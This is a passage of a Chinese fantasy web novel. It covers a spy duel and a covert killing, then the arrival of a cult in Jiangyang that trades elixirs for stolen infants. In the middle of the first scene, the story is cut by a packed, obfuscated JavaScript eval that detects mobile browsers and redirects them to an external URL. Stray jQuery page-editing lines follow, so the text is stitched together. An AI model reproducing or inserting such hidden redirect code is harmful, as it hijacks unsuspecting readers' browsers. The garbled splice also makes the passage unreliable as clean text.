“这是……玄心监‘冰牢困龙阵’的波动?”他眉头微蹙。此阵常用于禁锢捕获,怎会在炎州城内发动?而且波动来源,似乎是城西那片混杂的货栈区……那里,似乎是玄影监的联络点方向?
他放下茶杯,目光沉静。此事有些蹊跷。他起身走到祝君竹房门外,侧耳倾听,房内呼吸平稳悠长,祝君竹似乎正在调息。他又看向敖清澜和清音的房间,也并无异状。
略一沉吟,林疏星没有惊动任何人。他悄然推开窗户,身形如一片落叶般飘出,落地无声,随即融入街巷阴影之中,朝着波动传来的方向疾掠而去。他身法高明,对炎州城路径又熟,不多时便已接近那处“王记货栈”。
他没有贸然靠近,而是在隔了一条街的一处酒楼屋顶伏下身形,遥遥观望。以他的目力,恰好能将货栈后院的情形收入眼底。
只见后院一片狼藉,一座冰蓝色的晶牢格外醒目,牢中一个灰衣人影正焦躁地四处劈砍冰壁。林疏星一眼认出,那灰衣人正是白日里隐约感觉到的一道窥视目光之一,其气息与玄影监的路数吻合。
“玄影监的人,被玄心监的阵法困住了?”林疏星心中念头飞转。结合白日清音那句失言,他瞬间明白了七八分—
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998679|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—两家暗探都发现了祝君竹的踪迹,玄影、玄心素来不和,这是争功内斗!
他按兵不动,静静观察。
只见那灰衣人尝试数次无法破冰后,忽然停下动作,似乎在运功调息。片刻后,他双手结出一个奇特的印诀,周身泛起土黄色的微光,整个人竟缓缓沉入地面之下,如同水滴入沙,消失不见。那冰牢困阵,似乎对地下束缚有限。
“玄影监潜龙司的‘土遁潜影术’?”林疏星眼神一凝。这是潜龙司的杀手才能修习的秘法,看来此人是潜龙卫出身。他遁走的方向……是城东?不对,看其土灵力微光指引,是往城北方向去了!
林疏星不再犹豫,身形轻飘飘掠下屋顶,远远缀了上去。他不敢跟得太近,以免被对方察觉,但凭借对灵力波动的敏锐追踪,始终未曾丢失目标。
城北,玄心监驻地。
此处是一座清雅僻静的小院,门口挂着“墨韵斋”的匾额,像是某个文人雅士的书斋。
青墨脸色苍白地赶回,左臂伤口虽已止血,但失血和灵力消耗让他气息虚弱。他顾不上休息,立刻冲入内室,找出传讯玉简和特制纸条,快速书写:“急报!于炎州发现江浅月踪迹,身具奇异双极妖力,疑与玉京山巨震有关。现化名林姓女子,自称天极州人氏,落脚城东听风小筑……其同伴实力不明,需谨慎应对。请求速派高手支援,或指示下一步行动。暗卫青墨呈报。”
他将纸条卷好,塞入一枚小巧的玉筒,来到院中特定的角落。那里有一个隐蔽的鸟架,一只羽毛更为神骏、眼神灵动的夜影枭正静静伫立。这是玄心监专门用于传递紧急密报的上品夜影枭,速度更快,也更聪慧。
青墨将玉筒小心绑在夜影枭腿上,轻轻抚摸它的羽毛,低声道:“速去天都,面呈玄心督令!”
夜影枭低鸣一声,振翅而起,化作一道灰影冲天而去。
看着夜影枭迅速消失在暮色渐沉的天空中,青墨终于松了口气,紧绷的心弦稍缓。功劳,总算抢到手了。那灰蛇此刻应该还在冰牢里挣扎吧?想到这里,他苍白的脸上露出一丝得意。
然而,他脸上的笑容尚未完全绽开,就骤然僵住。
只见半空中,一道细微的土黄色光芒闪过,紧接着,一道乌黑的刃芒如毒蛇出洞,精准无比地击中了正在加速的夜影枭!
“啾——!”一声凄厉的哀鸣划破天际。
那神骏的夜影枭如断线风筝般坠落,砸在院中石板上,玉筒滚落一旁,腿上的绑绳已被切断。
青墨猛地扭头,只见院墙阴影处,灰蛇的身影缓缓浮现,他脸色同样不好看,但眼中尽是狠戾与嘲弄。
“青墨,你以为,就你会抄近路,毁人传讯吗?”灰蛇舔了舔有些干裂的嘴唇,手中黑色短刃滴着枭血。
“灰蛇!我必杀你!”青墨目眦欲裂,希望被毁,狂怒彻底淹没了理智。他再也顾不得伤势,冰剑再现,携着滔天寒气与杀意,疯狂扑向灰蛇。
灰蛇也知此刻再无转圜余地,不是你死,就是我亡。他厉啸一声,将潜龙司秘法催动到极致,身形化作道道残影,与青墨战作一团。
这一次,两人都已到了强弩之末。青墨失血过多,灵力不稳;灰蛇连续施展土遁秘法,消耗巨大,且先前被冰牢寒气所侵,经脉也受了暗伤。战斗不复之前的精巧与克制,只剩下最原始、最惨烈的搏杀。
冰剑与短刃疯狂碰撞,灵力与鲜血四溅。院中的花木、石凳、围栏尽数被狂暴的力量撕碎。
林疏星悄无声息地伏在远处另一座建筑的檐角后,冷眼看着这场死斗。他没有插手,也没有离开。鹬蚌相争,渔翁得利。此刻现身,只会让这两个濒死的暗探同仇敌忾。他在等,等一个最合适的时机。
战斗持续了一炷香的时间。
“噗嗤!”青墨的冰剑终于抓住灰蛇一个破绽,刺入了他的右胸,透背而出。
“啊!”灰蛇惨嚎一声,却也在同时,左手五指如钩,狠狠掏入了青墨的腹部,指尖乌光闪烁,显然蕴有剧毒。
两人身体同时剧震,猛地向后跌开。
青墨踉跄数步,低头看着腹部五个汩汩冒血的黑洞,冰剑脱手坠地,脸上血色尽褪,生机迅速流逝。他指着灰蛇,嘴唇翕动,似乎想说什么,却只吐出一口黑血,仰天倒下,气绝身亡。
灰蛇单膝跪地,右胸的血洞和腹部被冰剑余劲震出的内伤让他痛苦不堪。他颤巍巍地取出一颗猩红的丹药塞入口中,勉强止住流血,但气息已萎靡到了极点,连站立都困难。
他怨毒地看了一眼青墨的尸体,又望了望天色,已是日薄西山。“不能……不能再耽搁了……必须……必须亲自回天都……”他挣扎着起身,踉踉跄跄地朝马厩走去。
就在他费力地解开一匹黑马的缰绳,试图翻身上马时,一个平静得没有一丝波澜的声音在他身后响起:
“阁下,怕是去不了天都了。”
灰蛇浑身汗毛倒竖,用尽最后力气转身,手中短刃向后疾刺!
“叮!”
一声轻响,短刃刺在了一堵无形的灵力屏障上,再难寸进。
月光下,一道靛蓝色的身影不知何时已站在他身后三步之外。面容普通,眼神却深邃如夜,正是白日里一直守在“目标”身边的那个男子!
“你……你是……”灰蛇心中涌起无尽寒意和绝望。
林疏星没有回答。他并指如剑,隔空轻轻一点。
一道凝练至极、细若发丝的剑气瞬间穿透了灰蛇的眉心。
灰蛇瞳孔扩散,脸上凝固着难以置信的神色,缓缓向后倒去。
林疏星走上前,仔细检查了两具尸体,确认彻底死透。他从灰蛇怀中搜出那封未送出的纸条看了一眼,又从青墨尸体旁捡起那枚玉筒,捏碎取出里面的纸条。内容大同小异。
他将两张纸条用灵力震成齑粉。又在两人身上和院落中仔细搜寻了一番,确认没有其他遗漏的传讯手段或可能暴露祝君竹身份的物品。最后,他指尖弹出几点火星,落在两具尸体和那只夜影枭的尸身上。火星见风即长,化作苍白色的火焰,无声无息地将一切焚为灰烬,连血迹都蒸发干净,未留下丝毫痕迹。
做完这一切,林疏星又如来时一般,悄无声息地消失在渐浓的夜色中。
听风小筑后院,槐树的影子在月光下轻轻摇曳。
林疏星飘然落入院中,气息平稳,仿佛只是出去散了趟步。他看了一眼祝君竹房间的窗户,里面灯光已熄,想必已经歇下。敖清澜的房间也一片寂静。
他回到自己房中,静坐调息,直到东方泛起鱼肚白。
次日清晨,听风小筑大堂。
三人围坐一桌用早膳。清粥小菜,馒头花卷,简单却清爽。
清音显然还没从昨日的自责中完全恢复,小口小口地喝着粥,时不时偷偷瞟一眼祝君竹。
祝君竹拍了拍她的手背,以示安慰。
林疏星放下粥碗,目光平静地扫过两人,声音不高,却清晰传入每人耳中:“昨夜,炎州城玄影监与玄心监的两名暗探,死了。”
“什么?”清音手一抖,勺子差点掉进碗里。
祝君竹心头一紧,立刻想到了昨日的窥视感和清音的失言:“是因为我们?”
“是。”林疏星点头,“他们都发现了你的身份,为争功,在城外相遇,拼了个两败俱伤。我赶到时,一人已死,另一人重伤欲逃。”他略去了自己暗中观察和最后补刀的细节,“我已处理干净,暂时不会有人知道他们的死与我们有关,也不知道他们具体查到了什么。”
祝君竹沉默片刻,消化着这个信息。先是炸死玄影监十五名精锐,现在两大监察机构的暗探又因他们而死,这梁子结大了。但林疏星说“暂时”……
“他们联络中断,最迟三日,其所属驻地必会察觉异常并展开调查。”林疏星继续道,“虽然现场被我清理过,但两大机构手段莫测,难保不会通过其他途径追查到听风小筑。”
“好在我们今日就登船。”祝君竹道。
“我已与金鳞协商过,我们那部分货物已经装船,我们也提前上船等候。”
祝君竹也觉得这是眼下最好的办法,点头同意:“好,我们尽快收拾。”
早膳后,三人迅速回房整理行装。其实也没什么太多要收拾的,重要的物品都在芥子袋里。
敖清澜发现他们三人都已准备停当,笑言他们是急性子。便也收拾了自己的行装,与他们同行。
半个时辰后,四人便离开了听风小筑,雇了辆不起眼的马车,径直前往炎州码头。
码头依旧繁忙喧嚣,大小船只鳞次栉比,脚夫号子声、商贩叫卖声织成一片。巨大的青蛟号泊在码头外侧,船身高大。
金鳞早已得了林疏星的通知,等在船下。见四人到来,他热情迎上,低声道:“林公子,你们的货物已经装上,安排在底层丙字号货舱,有独立封记。你们的客舱也换在三楼的玄字房,相连的几间,位置僻静,已打点好了。”
“有劳金老板。”敖清澜拱手。
“客气什么,一路同行,互相照应。何况敖乐师带来的朋友,也曾帮了我大忙。”金鳞笑道,引着四人从专用跳板登船,避开拥挤的主甲板,直接上了三楼。
玄字房果然僻静,位于船尾上层,视野开阔,窗外便是浩渺江面。房间相邻,清音与祝君竹的房间还有内门相通,布置简洁干净。
安顿下来后,林疏星和敖清澜又去了一趟底层货舱,亲自确认了他们的货物封装完好,并与金鳞指派的一名可靠管事做了交接。
回到客舱时,清音正趴在窗边,好奇地看着码头景象。祝君竹则站在另一扇窗前,望着烟波浩渺的天瀑江,江风拂动她的发丝和衣袂。
危机虽暂时解除,但他们都知道,前路依然布满荆棘。
青蛟号静静地停泊在码头,等待着其他货物装船,等待着启航,逆流而上,驶向那座隐藏在迷雾与阴谋中的巍巍天都。
而船上这四位各怀秘密的乘客,他们的命运之舟,也已再次起航,驶向不可知的波涛深处。
15. 第十四回 江阳童祸露狰狞
晨雾如纱,笼罩着浩渺的天瀑江。
青蛟号巨大的船体逆流而上,破开深青色的江水,在身后拖出长长一道白痕。
祝君竹盘膝坐在三楼玄字房窗边的蒲团上,闭目调息。
船行江上,不比陆地安稳,细微的颠簸晃动无时无刻不在考验着修行者的定力。但她需在这种环境中继续修炼——记忆融合的速度越来越快,江浅月的战斗本能、修炼经验、乃至一些零碎的情感片段,如潮水般不断涌入她的意识。
此刻她识海中正翻腾着一幅画面:
深宫,月夜。
少女时期的江浅月跪在冰冷的大殿石砖上,面前是端坐于凤座之上的仙后慕容炎曦。仙后穿着繁复的宫装,头戴九凤衔珠冠,面容在烛光映照下显得雍容而冷漠。
“浅月,你江家屡建奇功,受万民爱戴,定岳王的名号威震四海。”仙后的声音平静无波,却字字令人如坐针毡,“此次你力挽狂澜,立下不世之功,陛下欲赐你公主封号,不日将与朝堂宣诏。”
江浅月低着头。她能感觉到兄长江倾川在殿外等候的焦急气息,也能感受到来自四面八方那些隐匿在阴影中的窥视目光。
“臣女谢陛下与娘娘恩赏,臣女与父兄,能有今日,皆是陛下与娘娘所赐,不敢居功。朝中能征善战者比比皆是,臣女一家能建功立业,不过是仰仗陛下与娘娘的青睐罢了。”她声音清冷,听不出情绪。
“很好。”仙后微微颔首微笑,声音柔和了下来。
“好孩子,你叫我姨母便好,听闻你枪法又有精进?不愧是将门虎女。好了,我也乏了,你回去吧。”
“是,臣女告退。”
画面如水波般荡漾、破碎。
祝君竹眉心微蹙,缓缓睁眼。窗外江风带着湿意扑面而来,她深吸一口气,将胸腔中那股属于江浅月的屈闷感缓缓吐出。
这已是今日第三次记忆闪回了。
每次都是与仙后相关的片段——有时是宫宴上的暗流涌动,有时是私下召见的敲打警告,有时则是更早些年,仙后还是“慕容娘娘”时,对她流露过的、转瞬即逝的温和笑意。
“仙后……”祝君竹低声念着这个称呼,指尖无意识地在膝上划动。
房门被轻轻叩响。
“小姐,你醒着吗?”清音的声音从门外传来,压得低低的。
祝君竹收敛思绪:“嗯,进来。”
清音推门而入,手里端着个托盘,上面摆着一碗还冒着热气的米粥、两碟清淡小菜。她将托盘放在桌上,凑到窗边,小脸上满是关切:“小姐,你又一早修炼了?早饭都没下去吃。我让厨房温了粥,你趁热用些。”
祝君竹心头微暖,起身走到桌边:“多谢。”
“跟我还客气什么,伺候你是我分内事。”清音在她对面坐下,托着腮看她用餐,眼睛亮晶晶的,“小姐,你说咱们还要多久才能到天都呀?又走了十多天了,这船坐得我都闷死了。”
“按金老板所说,顺遂的话,还需月余。”祝君竹舀起一勺粥,米粒晶莹,带着淡淡的灵气,“中途还会在大镇停泊补给,你若闷了,到时可以下船走走。”
“真的?”清音眼睛更亮了,但随即又垮下脸,“可是公子说,咱们要尽量少露面……”
“偶尔一次,无妨。”祝君竹道,“总闷在船上,反而惹人注意。”
清音这才重新高兴起来,叽叽喳喳说起这几日在船上的见闻——哪个水手唱歌好听,哪个厨娘做的鱼鲜特别香,哪日傍晚在甲板上看到了江豚跃出水面……
祝君竹静静听着,偶尔应一声。清音的活泼,像一道阳光,能驱散她心中因记忆翻涌而生的阴霾。
粥用到一半,门外又传来脚步声。
林疏星与敖清澜一同走了进来。林疏星仍是一身长袍,气息内敛;敖清澜则换了件月白云纹长衫,手中把玩着一支新得的竹笛,眉眼温和。
“祝姑娘早。”敖清澜含笑点头。
林疏星的目光在祝君竹脸上停留一瞬:“气色尚可,昨夜休息得如何?”
“尚好。”祝君竹放下粥碗,“两位可用过早膳了?”
“用过了。”林疏星在桌旁另一张椅子坐下,“方才我与敖先生在甲板上走了走,听金老板说,今日午后便能抵达江阳镇,船队要在那里停泊一日,补充些淡水果蔬。”
敖清澜接话道:“江阳镇虽不算大,却是天瀑江中游重要的水陆码头,商贾云集,颇为繁华。镇中有一处‘镇江塔’,据说登楼可览十里江景。”
清音立刻来了精神:“那我们可以下船去逛逛吗?”
林疏星沉吟片刻:“可以,但江阳镇是交通要道,眼线必多,需小心行事。”
午后未时三刻,青蛟号缓缓靠向江阳镇码头。
祝君竹与林疏星换了装束。祝君竹穿了身鹅黄襦裙,头发梳成简单的妇人髻,插一支素银簪;林疏星则换了件深灰长衫,腰系革带,均是寻常行商打扮。
两人容貌都做了些许修饰——祝君竹用脂粉将眉眼描得柔和些,林疏星则在颌下贴了撮短须,看起来年长了几岁。
金鳞亲自送到跳板处,低声嘱咐:“江阳镇还算太平,那‘镇江塔’可观江景。” 他说着用手一指。
林疏星顺着望去,只见镇子依山临江而建,白墙黑瓦的民居层层叠叠沿山坡向上蔓延,最高处可见一座飞檐斗拱的七层木塔,那是镇中地标“镇江塔”。码头比炎州城规模小些,但依旧繁忙,大小船只挤挤挨挨,扛包的脚夫、叫卖的货郎、巡逻的镇兵穿行其间,人声鼎沸。
金鳞接着道:“城北有个叫“听雨轩”的茶楼,茶点是一绝。此地虽非险地,但也鱼龙混杂,几位务必在天黑前回船,免得横生事端。咱们明早辰正启航,莫要误了时辰。”
“多谢金老板提点。”林疏星拱手。
四人分作两拨,前一后下了船。
祝君竹与林疏星并肩而行,沿着青石板铺就的主街向镇内走去。街道两旁店铺林立,绸缎庄、杂货铺、药堂、酒楼、茶肆应有尽有,招牌幌子在风中轻轻摇晃。空气中混杂着江水腥气、食物香气、还有马匹牲口的气味。
清音与敖清澜在后面跟着。
祝君竹低声问:“你觉得江阳镇可有异状?”
林疏星目光不动声色地扫过街面:“表面看一切如常。但……”
“但什么?”
林疏星声音压得很低,“你看街上那些女子,无论年轻少妇还是中年妇人,大多小腹微隆,似是……有孕在身。”
祝君竹闻言,仔细看去。
果然,往来行人中,女子占了近七成,且其中大半都挺着或大或小的肚子。有年轻的妇人牵着孩童,自己腹部也明显隆起;有中年妇女挎着菜篮,腰身粗圆;甚至有几个看着已过五旬的老妪,腹部也有不自然的鼓胀。
这比例太不正常了。
祝君竹心头升起怪异之感:“莫非是此地风水特殊,易于生育?或是近来有什么节庆,夫妇团聚者多?”
“或许。”林疏星不置可否,“先找个地方坐坐,听听市井传闻。”
两人又前行百步,见街角有一家茶楼,匾额上书“听雨轩”三字,字体清隽飘逸。茶楼两层,木结构,雕花窗棂半开,隐约可见里面客人不少。
“就这里吧。”林疏星道。
四人进了茶楼。一楼大堂几乎满座,茶客们三五成群,喝茶闲聊,声音嘈杂。跑堂的伙计见有客来,忙迎上来:“四位客官,一楼没空位了,二楼雅座还有两间,清静些,就是要加些茶钱。”
“无妨,带路。”林疏星道。
伙计引着四人上了二楼。二楼果然清静许多,用屏风隔出七八个半开放的小间,临街一侧是整排的支摘窗,推开便可看到街景。他们选了靠里的一间坐下,点了壶“云雾青”并几样茶点。
茶点还未上,隔壁间的谈话声便隐隐传来。
“……王婶家那个,前日刚送去,昨儿就得了灵丹!我亲眼见的,那丹药泛着红光,香气扑鼻!王婶服下后,当场就突破到凝意阶了!”
“真的?我听说李寡妇家那个丫头也送去了……”
“可不是嘛!神使大人说了,心越诚,献上的童子资质越好,得的灵丹品级就越高!我家那口子犹豫着呢,说再等等看,等什么呀!这等机缘,错过了可就没有了!我家那娃娃都九个月大了。”
“对对,我也得赶紧把我家那个送去,万一晚了,神使不收了呢……”
“听说阮家婶子生了一对双胞胎!真是好福气,一次就能换两瓶……”
声音是几个妇人,语气热切,甚至带着几分狂热。
祝君竹与林疏星对视一眼,都从对方眼中看到了凝重。
“真灵教……”祝君竹低语,“这名字,怎么像是在哪听过。”
此时伙计端了茶点上来,林疏星顺势问道:“小二哥,我们外地来的行商,头一回来江阳。方才听隔壁几位娘子说什么‘真灵教’‘灵丹’,可是本地有什么仙缘盛事?”
伙计一边摆茶具,一边笑道:“客官您算是问着了!这真灵教啊,是近一年才在咱们江阳兴起的,据说是从北边传来的仙家教派。教中神使神通广大,能炼制各种灵丹妙药,只要诚心供奉,将家中未满周岁的童子送入教中修行,便能得赐灵丹,助长修为、延年益寿哩!”
祝君竹心头一沉:“将孩子送入教中?那这些孩子……”
“那都是去享福的!”伙计说得眉飞色舞,“神使说了,童子心思纯净,纯阳之体,最易接引仙缘。送入教中养大,得传仙法,日后成仙得道,那可是光宗耀祖的大好事!您看街上那些娘子,为啥都急着要孩子?还不就是想多生几个,送去换灵丹嘛!”
林疏星皱眉:“如此说来,这些妇人怀孕,竟是为了……”
“正是正是!”伙计压低声音,带着几分神秘,“咱们江阳镇现在可不一样了,家家户户都盼着多生娃!有了娃,就能换灵丹,有了灵丹,就能修行,有了修行,就能长生!这可是天大的造化!连咱们州里来的大老爷都说,这是‘仙恩浩荡,泽被苍生’呢!”
祝君竹握着茶杯的手指微微收紧。
伙计又说了几句,便下楼忙去了。
隔壁妇人的谈话还在继续,内容大同小异,都是议论谁家又得了什么品级的灵丹,谁家孩子资质好被神使看中,谁家因为犹豫孩子过了周岁,错过了机缘后悔不迭……
祝君竹透过屏风缝隙,隐约看到那几个妇人,个个腹部隆起,脸上洋溢着兴奋与憧憬的光。
“不对劲。”她放下茶杯,声音压得极低,“为何专要未满周岁的童子?用孩子换丹药……这听着似乎有古怪。”
“莫急。”林疏星为她斟了杯茶,“情况不明,我们先多打听些消息。”
正说着,楼下街道上忽然传来一阵骚动。
清音指着窗外道:“小姐你快看!”
三人透过窗户向下望去,只见一个衣衫褴褛、头发蓬乱的女子踉踉跄跄冲进街心,她怀里似乎紧紧抱着一个布包,一边跑一边凄厉哭喊:
“还我孩子!把我的孩子还给我……!”
女子约莫二十出头,面容憔悴,双眼红肿,神情癫狂。行几步便跌倒在路旁,嘴里还兀自念叨着:
“孩子,还我的孩子……”
周围行人纷纷驻足围观,指指点点,却无人上前搀扶。
绸缎庄的门开了一条缝,伙计探出头来,不耐烦地挥手:“去去去!小悠你又来闹!你家孩子是自己愿意跟神使去修行的,关我们什么事!再闹,我叫镇兵抓你下大狱!”
“不!不是的!”被称为“小悠”的女子猛地抬头,额上鲜血顺着脸颊淌下,她嘶声道,“我相公半年前被水匪杀了,我好不容易才生下这个孩子,那是他唯一的骨血啊!我怎么可能主动把孩子送走!是有人趁我睡着偷走的!是偷走的!”
她哭得声嘶力竭,怀里的布包散开,露出一件洗得发白的小儿襁褓。
“求求你们,谁见过我的孩子……他才三个月大,眉心有颗红痣……谁见过他,告诉我他在哪儿……”小悠抱着襁褓,跪在地上转着圈朝四周磕头,模样凄惨至极。
围观的人群中,有人面露不忍,低声议论:
“唉,也是个苦命人……”
“听说她男人以前是镇上的镖师,走镖时遇到水匪,尸骨都没找回来。”
“孩子被偷了?神使收童子,不知是哪个天杀的偷别人的娃娃去换丹药了罢……”
“谁知道呢……不过这小悠疯疯癫癫的,话也不能全信……”
“她天天这么闹,镇司命使也不管管?”
“管什么呀,听说真灵教背后有州里的大人物撑腰,司命使大人也难做……”
议论声中,小悠依旧在哭喊磕头,额上的血混着眼泪滴落在青石板上,洇开一小片暗红。
祝君竹看得心头揪紧。
林疏星忽然起身:“我下去看看。”
“一起去罢。”祝君竹也站起来。
四人下了楼,挤进围观人群。敖清澜看着那女子于心不忍,走到小悠身边,蹲下身,温声道:“这位娘子,你先起来。孩子的事,慢慢说。”
小悠猛地抬头,一双布满血丝的眼睛死死盯着他们,忽然抓住他的衣袖:“你见过我的孩子?你知道他在哪儿是不是?告诉我!告诉我!”
她力气极大,指甲几乎掐进敖清澜手臂的鳞片。
祝君竹上前,轻轻按住小悠的手:“娘子,你冷静些。我们是外地来的,不知道你孩子的事。但你这样磕下去,头破了,孩子若回来,谁照顾他?”
或许是“孩子回来”几个字触动了小悠,她动作一滞,抓着林疏星的手缓缓松开,眼神茫然了一瞬,随即又涌出更多的泪:“回不来了……我知道,回不来了……他们都这么说……”
她抱着襁褓,瘫坐在地上,呜呜地哭,哭声压抑而绝望。
祝君竹从袖中取出一方干净帕子,递给她:“擦擦脸。你说孩子是被偷走的,可有人看见?”
小悠接过帕子,胡乱抹了把脸,哽咽道:“那天下雨,我哄孩子睡着后,自己也累得睡了……半夜惊醒,孩子就不见了……窗子开着,雨打进来……邻居说,看到一道黑影从我家屋顶掠过……我去报官,镇司命使大人查了几天,说没线索……后来、后来就有人传,说我孩子是被真灵教的神使带走了,是去享福了……”
她越说越激动:“什么享福!我的孩子才三个月!他要娘!他要吃奶!他什么都不懂!那些人把他偷走,谁知道会怎么对他!什么修行什么仙缘,都是骗人的!骗人的!”
周围有人听不下去,斥道:“小悠!你胡说什么!神使大人也是你能诽谤的!”
“没错,若不是神使大人,我家那个挨千刀的这辈子也别想突破。”
“就是!自己没福气,还见不得别人好!”
“疯婆子,快滚远些,别挡着路!”
几个汉子上前,就要驱赶小悠。
林疏星站起身,挡在小悠身前,目光平静地扫过那几人:“光天化日,欺凌弱女,不太好吧?”
他气质沉稳,虽衣着普通,但眼神中自有威仪。那几个壮汉被他一看,竟有些心虚,悻悻退了半步,嘴上却不饶人:“外乡人,少管闲事!这疯婆子天天闹事,扰得街坊不宁!”
“她孩子丢了,心中悲苦,情有可原。”林疏星淡淡道,“诸位若是知道什么,不妨说出来,或能帮她找回孩子。若不知道,也请留些口德。”
那几人面面相觑,低声骂了几句,转身走了。
围观人群见没热闹可看,也渐渐散去。
小悠仍坐在地上,抱着襁褓喃喃自语。祝君竹蹲下身,轻声道:“娘子,你先回家去。孩子的事,我们……会帮你留意。”
小悠抬头,愣愣看着她,忽然问:“你们……不是江阳人?”
“不是,我们行商路过。”
“那你们快走吧。”小悠咧了咧嘴,露出一个比哭还难看的笑,“江阳……江阳不对劲……孩子丢了,不是第一个,也不会是最后一个……那些大肚子的女人,她们都不知道,她们将来生的孩子,也会被偷走的……都会被偷走的……”
她说着颠三倒四的话,抱着襁褓摇摇晃晃站起来,踉跄着朝街尾走去,背影萧索。
祝君竹望着她的背影,心中沉甸甸的。
清音叹道:“小姐,她好可怜啊……”
林疏星低声道:“先回茶楼。”
四人重新上了听雨轩二楼,方才的雅间还未收拾。林疏星招来伙计,多给了些茶钱,问道:“小二哥,方才街上那妇人,是怎么回事?”
伙计收了钱,态度更热情了些,叹道:“客官您也瞧见了?那是西街刘镖师家的媳妇,叫小悠。她男人半年前走镖,遇到水匪,没了。留下她和一个遗腹子。本来日子就难过,谁知半个月前,孩子突然不见了。她就疯了,天天在街上闹。”
祝君竹问:“孩子真是被偷的?”
伙计左右看看,压低声音:“这话小的可不敢乱说……不过,小悠出事前,咱们江阳已经丢过好几个孩子了,都是半夜不见的。就连周边的几个村镇,也都丢了孩子。一开始大家还报官,后来……后来真灵教兴起,那些丢了孩子的人家,神使大人可怜他们,赠了些灵丹给他们。再后来,就没人闹了,甚至有人说,孩子是被神使提前接引走了,是福气。”
“荒唐!”敖清澜忍不住道,“骨肉分离,也算福气!”
“客官您小声点!”伙计吓了一跳,紧张地看向楼梯口,“这话可不敢乱说!真灵教现在在江阳,那是……那是说不得的!那神使大人连镇司命使大人都得让三分呢!”
林疏星问:“司命使对此是什么态度?”
伙计犹豫了一下,声音压得更低:“司命使大人……起初是查的,还抓了几个人。但后来州里来了公文,说真灵教是合法教派,信徒供奉童子修行是自愿行为,官府不得干涉。司命使大人也就……没办法了。不过大人私下里还是劝过百姓,莫要轻信,可没人听啊!您看街上那些大肚子的,哪个不是盼着生了孩子去换灵丹?”
祝君竹与林疏星对视一眼,都看到了对方眼中的寒意。
敖清澜道低声:“这真灵教,不仅蛊惑人心,恐怕还与州府官员有所勾结。”
吓得那伙计连忙制止:“哎……客官。切莫胡言乱语,让人听见传了出去,咱们怕是都性命难保啊……”
“小二哥,你可知真灵教的堂口在何处?”林疏星问。
“就在镇子东头,原先是座荒废的城隍庙,半年前被真灵教买下,改建得可气派了!门口立着两根白玉柱,上面刻着‘真灵渡世’四个大字,老远就能看见。”伙计说着,又劝道,“客官,您若是好奇,远远看看也就罢了,可千万别进去。那地方……不是咱们普通人能进的。”
“怎么说?”
“进去的人,出来时眼神都直愣愣的……跟丢了魂似的。”
祝君竹心中一紧。
伙计说完这些,似乎也觉得自己说多了,连忙道:“客官,您就当我胡咧咧,千万别往外说!我还要忙,您四位慢用!”
他匆匆下楼去了。
雅间内陷入沉默。
祝君竹望向窗外,街景依旧熙攘,那些挺着肚子的妇人身影穿梭其间,脸上带着对“灵丹”的憧憬。而方才小悠跪地哭喊的事情,就好似从未发生过一般。
“兄长”她低声开口,声音有些发涩,“我想去真灵教堂口看看。”
“我也正有此意。”林疏星道,“不过需谨慎。此地情况复杂,那堂口恐怕有高手坐镇。”
“我们分头行动。”祝君竹已有决断,“麻烦敖先生送清音回船,我们去堂口外围查探。人多眼杂,四人同行怕是目标太大。”
敖清澜点头叮嘱:“若遇险,不可逞强,即刻撤离。”
“我明白。”
清音还想跟着小姐,但张了张嘴,又把话咽了回去。乖乖跟着敖清澜返回码头。
林疏星道:“你可发觉,清音近日来话少了许多?”
祝君竹一愣,随即答道:“想是因上次说错话,让我们陷入险境的事情,她还很在意罢。”
两人结了茶钱,下楼离开听雨轩,朝着镇东方向走去。
越往东走,街道上的孕妇身影越发密集。不少妇人三五成群,低声议论着真灵教的神迹,手中提着香烛供品,显然是要前往朝拜。她们脸上洋溢着近乎狂热的虔诚,全然不见对腹中即将诞生的孩子未来命运的担忧。
祝君竹看在眼里,心中那股不适感越来越重。
林疏星走在她身侧稍前位置,看似随意,实则步伐始终保持着能随时护住她的距离。他的目光不动声色地扫过沿途每一个角落,感知悄然外放,捕捉着可能存在的危险气息。
约莫一刻钟后,两人来到镇东。
前方豁然开朗,一座气派非凡的建筑出现在眼前。正是伙计所说的真灵教堂口。
朱漆大门高两丈有余,门钉鎏金,在午后阳光下反射出刺目光芒。门前九级汉白玉台阶被打扫得一尘不染,两侧白玉石柱粗壮需两人合抱,柱上“真灵渡世”四个鎏金大字笔力遒劲,却莫名透着一股阴冷气息。门楣上黑底金字的匾额高悬,“真灵圣殿”四字仿佛有某种魔力,令人望之便心生敬畏。
此刻殿门大开,香客络绎不绝。进出的多是妇人,也有少数男子,人人神情恭谨,步履轻缓,仿佛踏入的不是教派堂口,而是朝圣圣地。
殿内隐约传来诵经声,音调古怪,似吟似唱,夹杂着钟磬敲击之音,在空气中形成一种令人心神恍惚的韵律。
祝君竹蹙眉:“这诵经声……听着令人不舒服。”
林疏星微微颔首,压低声音:“音律中暗含摄魂之效,虽不强烈,但听久了会影响心志。我们莫要久留。这倒像是玄心监的审问手段!”
两人混在香客中,踏上台阶。
刚入殿门,一股浓郁的檀香气味扑面而来,其间还混杂着某种难以形容的甜腻气息。大殿极为宽阔,可容数百人,此时已有近百香客跪坐在蒲团上,闭目聆听前方高台上的神使讲经。
那神使身穿玄色绣金法袍,头戴高冠,面白无须,约莫四十岁年纪。他手持一柄玉拂尘,声音温润平和,讲述着“奉献童子,得证仙缘”的道理。话语间充满诱惑力,不少香客听得如痴如醉,不时有人低声啜泣,似是感动至极。
祝君竹与林疏星找了个靠后的位置跪下,装出聆听模样。
大殿两侧各有数间偏殿,皆有黑衣教众把守。正后方则是一扇紧闭的雕花木门,门后似有长廊通往深处。整个殿堂布置奢华,地面铺着织锦地毯,梁柱上悬挂着无数琉璃灯盏,烛火摇曳间,光影交错,更添几分神秘氛围。<
